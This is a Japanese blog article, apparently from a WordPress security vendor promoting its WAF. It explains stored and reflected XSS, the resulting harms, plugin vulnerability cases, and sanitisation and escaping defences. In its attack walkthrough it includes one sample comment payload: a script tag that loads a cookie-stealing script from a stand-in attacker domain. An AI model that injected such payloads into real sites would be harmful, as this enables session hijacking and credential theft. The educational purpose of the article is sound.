WordPressのXSS攻撃とは?仕組み・被害事例と防止策を徹底解説
クロスサイトスクリプティング(XSS)は、Webアプリケーションに存在するセキュリティ脆弱性の一つです。WordPressにおけるXSS攻撃では、攻撃者が信頼された存在になりすまして悪意のあるコンテンツを注入することが可能になります。さらに、XSS脆弱性はユーザーとWebサイトのやり取りそのものをも脅かします。攻撃者は正規ユーザーになりすまして悪意あるコンテンツをアップロードしたり、認証情報や個人情報を盗み出したり、Webサイトの外観を改ざんしてブランドイメージを損なうこともできます。
WordPressのXSS攻撃が大きな話題となったのは、ソフトウェア解析を専門とする企業が、WordPress v5.11以前に存在するクロスサイトスクリプティング脆弱性の詳細を公表したことがきっかけでした。
WordPress XSS攻撃の仕組み
XSS脆弱性は最も頻繁に確認される脆弱性の一つでありながら、同時に最も見過ごされがちな脆弱性でもあります。XSSとは、ユーザー(またはユーザーになりすましたハッカー)が任意のコードを注入できる状態を許してしまうサイバー上の欠陥です。
XSS攻撃は「格納型(Stored)」と「反射型(Reflected)」の2種類に分類されます。
- 格納型クロスサイトスクリプティング(Stored XSS):ハッカーが脆弱なページに悪意のあるスクリプトを注入し、何も知らない犠牲者が感染ページを訪れるたびにスクリプトが実行されるタイプです。
- 反射型クロスサイトスクリプティング(Reflected XSS):攻撃者が単一のHTTPリクエスト内に悪意のあるコードを注入し、そのペイロードが実行を防ぐセキュリティ対策なしにレスポンスへ含まれてしまうタイプです。反射型XSSの特徴は、注入されたペイロードがWebアプリケーションのどこにも保存されない点です。
XSS攻撃が実際に実行される流れは以下の通りです。
- ハッカー(H)があなたのWebサイトにアカウントを作成します。
- Hは、Webサイトに格納型XSS脆弱性があることに気づきます。例えば、HTMLタグを含むコメントが投稿されるとタグがそのまま表示され、scriptタグまで実行されてしまう状態です。
- Hは記事のコメント欄に、次のようなscriptタグを含むテキストを挿入します:
I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js"> - ユーザー(U)がコメント付きのページを読み込むと、scriptタグが実行され、Uの認証Cookieが盗み取られます。
- 盗まれたCookieはHの秘密のサーバーへ送信され、Hは何も知らないユーザーUになりすませるようになります。
WordPress XSS攻撃による被害
XSS攻撃によって、Webサイトから締め出されてしまう可能性があります。また、なりすましに悪用され、ブランドイメージを損なわれることもあります。ハッカーがXSS脆弱性を悪用してできることは枚挙にいとまがありません。ここでは代表的な被害をいくつか紹介します。
Cookieの盗難
Cookieの窃取は、XSS脆弱性を悪用した典型的な攻撃です。Cookieとは、ユーザーやWebサイト固有のデータを保持する小さなファイルのことです。ハッカーは盗んだCookieを使って正規ユーザーになりすまし、アクセス権を悪意ある目的に利用できます。
パスワードの漏洩
パスワードマネージャーは、複数のWebサイトのアカウント管理を便利にし、パスワードを自動入力してくれるツールです。しかしハッカーはこの脆弱性を利用して偽のパスワード入力欄を作成できます。パスワードマネージャーが自動入力した瞬間に、ハッカーはそのパスワードを読み取り、自分のドメインへ送信します。こうしてハッカーは正規ユーザーになりすまし、Webサイト上の情報へアクセスできてしまいます。
ポートスキャン
XSSは、脆弱なWebサイトを訪れた人のローカルネットワークに対するポートスキャンにも悪用されます。ネットワークへのアクセスに成功すれば、攻撃者はネットワーク上の他のデバイスにも侵入可能です。この種の攻撃を実行する際、攻撃者は内部ネットワークをスキャンして結果を攻撃者へ報告するコードを注入します。
クロスサイトリクエストフォージェリ(CSRF)
クロスサイトリクエストフォージェリ(CSRF)により、攻撃者はエンドユーザーに意図しない操作を強制できます。Webサイトの種類によっては、接続要求の送信、メッセージの送信、ログイン認証情報の変更、暗号資産の送金、ソースコードリポジトリへのバックドア設置などが可能になります。
キーロガー
JavaScriptはキーボード入力の記録(キーロギング)にも悪用されます。JavaScriptには、脆弱なページ上でユーザーが行うキーストロークを記録する機能を実装できます。一部の商用Webサイトでは、クリック、モバイルジェスチャー、入力といった訪問者の動きを記録するコードが公開されています。これらが悪意ある者の手に渡れば、甚大な被害につながりかねません。
WordPress XSS攻撃の実際の事例
XSSは、毎年数千ものWebサイトへ悪意ある者のバックドア侵入を許している、最も一般的な脆弱性です。以下は、WordPressにおけるXSS攻撃の最近の事例です。
Slimstatプラグインの脆弱性(2019年5月)
Slimstatは人気のWebアナリティクスプラグインですが、格納型XSS脆弱性があることが判明しました。Slimstatはリアルタイムのサイト分析に使われており、アクセスログ、再訪問者、登録ユーザー、JavaScriptイベントなどの統計を監視・レポートします。この脆弱性を悪用されれば、ハッカーがどれほど多くのサイトデータへアクセスできるかは想像に難くありません。
脆弱性はバージョン4.8以前に存在し、未認証の訪問者でもプラグインのアクセスログ機能に任意のJavaScriptコードを注入できてしまうものでした。最新版のWordPressを使用し、Astra WAFの保護下にあったサイトは攻撃から守られていました。
Facebook Messenger Live Chat(Zotabox)
Zotabox提供のFB Messengerライブチャットにおいて、持続型(Persistent)XSS脆弱性が発見されました。
WordPressでは、AJAX機能によりページを再読み込みすることなくスクリプトとの間でデータの送受信が簡単に行えます。ところが、関数update_zb_fbc_codeは誰でもアクセス可能な状態でした。
本来、関数wp_ajax_update_zb_fbc_codeは権限を持つユーザー専用、wp_ajax_nopriv_update_zb_fbc_codeは非特権ユーザー向けとして定義されています。しかし両方とも同じ関数「update_zb_fbc_code」を使用していたため、ログインの有無にかかわらず誰でもプラグイン設定を変更できてしまう構造でした。悪意ある者はこの脆弱性を利用して、機密情報への高権限アクセスを得ることが可能でした。
WordPressにおけるXSS攻撃の防止策
サイバー攻撃が日常化した今日、セキュリティを軽視すれば大きな代償を払うことになります。強力なサニタイズ(無害化)とバリデーション(検証)の仕組みは、XSSやCSRFなどの攻撃からWebサイトを守ってくれます。以下に具体的な対策を紹介します。
WordPressファイルを最新版に更新する
WP v5.11以前に関連する脆弱性の問題を解決する最も迅速かつ簡単な方法は、WordPressを最新バージョンへ更新することです。
入力値を検証する(Validate Input)
サーバーへ送信する前に、すべての入力データを検証しましょう。検証済みの信頼できるユーザーからの入力のみを受け付けるようにします。例えば、ユーザーが入力したメールアドレスを検証するには、以下の関数を使用します。
filter_var PHP関数filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)is_email
データをサニタイズする(Sanitize Data)
HTMLマークアップを許可するサイトでは、ユーザーが入力したデータのサニタイズ(無害化)を強く推奨します。潜在的に有害なマークアップを除去することで、ユーザーにもデータベースにも害を及ぼさないことを保証できます。WordPressには信頼できないデータ入力をフィルタリングする優れた機能が標準で備わっています。サニタイズに使える主なWP関数は以下の通りです。
sanitize_emailsanitize_file_namesanitize_text_fieldesc_url_rawsanitize_optionsanitize_keysanitize_mime_typewp_ksessanitize_meta
データをエスケープする(Escape Data)
データのエスケープとは、入力されたデータを適切に処理することで安全性を確保することです。データ内の重要な文字が悪意のある形で誤解釈されないようにします。WordPressが提供する5つの基本エスケープ関数は以下の通りです。
esc_htmlesc_urlesc_jsesc_attresc_textarea
出力時にデータをエンコードする
ユーザーが入力したデータを出力するすべてのHTTPレスポンスをエンコードしましょう。これにより、データがアクティブコンテンツとして解釈されるのを防げます。エンコードとは、すべての文字を対応するHTMLエンティティ名へ変換することです。Content-TypeヘッダーやX-Content-Type-Optionsヘッダーを使用すれば、ブラウザがレスポンスを意図した通りに解釈するよう保証できます。
Webアプリケーションファイアウォール(WAF)を導入する
Webサイトに警備員を置くことは常に有効です。WAF(Web Application Firewall)は潜在的な脆弱性からサイトを保護します。Astra WAFは悪意のあるトラフィックをフィルタリングし、Webサイトにインテリジェントな保護を提供します。XSS、SQLi、CSRF、悪質なボット、OWASP Top 10をはじめとする100以上のサイバー攻撃をブロックします。当社のインテリジェントファイアウォールはサイト上の訪問者パターンを検出し、悪意ある意図を持つハッカーを自動的にブロックします。
定期的なマルウェアスキャン
定期的なマルウェアスキャンにより、被害を未然に察知できます。Astra WordPress Security Suiteは、オンデマンドのマルウェアスキャナーでワンクリックにより悪意のあるファイルを検出し、完全な保護を提供します。さらに当社のインテリジェントなマルウェアスキャナーは、スキャンを重ねるごとに進化し続けます。まずはAstraのデモをお試しください。
-
USB攻撃を防ぐ方法|知っておきたいセキュリティ対策のすべて
デジタル時代において、サイバー犯罪による攻撃やデータ漏洩はもはや日常的な出来事となっています。そして、この脅威がすぐに消えることはありません。ハッカーたちは悪意のあるプログラミング技術を駆使し、私たちのデバイスへ侵入する新たな手法を次々と編み出しています。サイバー犯罪者が個人システムや企業ネットワークに不正アクセスし、プライバシーを侵害するニュースを、私たちは頻繁に耳にするようになりました。 では、USB攻撃はどう防げばよいのか? ハッカーが攻撃を仕掛けるさまざまな手段の中でも、USBフラッシュドライブは特に脆弱な存在です。ファイルの保存や転送に欠かせない手軽な記録メディアであるため、多くの
-
URLブラックリストとは?原因と解除方法を徹底解説
「ウェブサイトは24時間365日休みなくあなたを宣伝してくれる。それができる従業員はいない」――ポール・クックソン(Paul Cookson) まさにその通りです。ウェブサイトはいわばデジタルポートフォリオであり、あなた自身、組織、製品やサービス、そして事業のあらゆる側面を、インターネットという巨大な仮想空間の中で表現する「企業の顔」とも言える存在です。もしURLがGoogle、Bing、Norton Safe Webなどの検索エンジンやセキュリティ機関によってブラックリストに登録されてしまったら、それはウェブサイトのオンラインプレゼンスにとって深刻な打撃となります。 ウェブを閲覧していると、